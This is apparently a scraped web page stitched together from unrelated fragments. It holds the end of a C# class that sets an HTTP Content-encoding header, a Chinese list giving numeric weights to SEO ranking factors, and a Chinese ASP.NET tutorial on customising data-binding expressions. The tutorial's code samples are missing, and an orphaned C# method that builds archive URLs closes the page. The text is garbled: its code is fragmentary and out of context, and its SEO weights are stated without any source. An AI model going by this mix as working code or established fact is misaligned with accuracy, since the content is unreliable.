private static void SetEncoding(string encoding)
{
HttpContext.Current.Response.AppendHeader("Content-encoding", encoding);
}
#endregion
}
}
外部链接文字：10分
标题：10分
域名：7分
H1,H2字号标题：5分
每段首句：5分
路径或文件名：4分
相似度（关键词堆积）：4分
每句开头：1.5分
加粗或斜体：1分
文本用法：1分
title属性：1分
alt标记：0.5分
Meta描述（Description）：0.5分
Meta关键词（Keywords）：0.05分
我们在用数据控件的时候，一般会在 .aspx 页面生成如单向绑定
或双向绑定
之类的绑定代码，如果我们必需对它进行进一步处理，譬如取得的“产品分类的ID”，我想显示为“产品分类的名称”，或者格式化时间显示
等等。
如果只是连接字符串可以这样处理
如果是通过一个方法去改变绑定值，则可以：
这里可以套用任何自定义的方法。更可以实现绑定两个数据库字段的实现：
{
if (archive.Trim() != "")
{
return "/xsdn/archive/" + archive + ".aspx";
}
else
{
return "/xsdn/"+id+".aspx";
}
}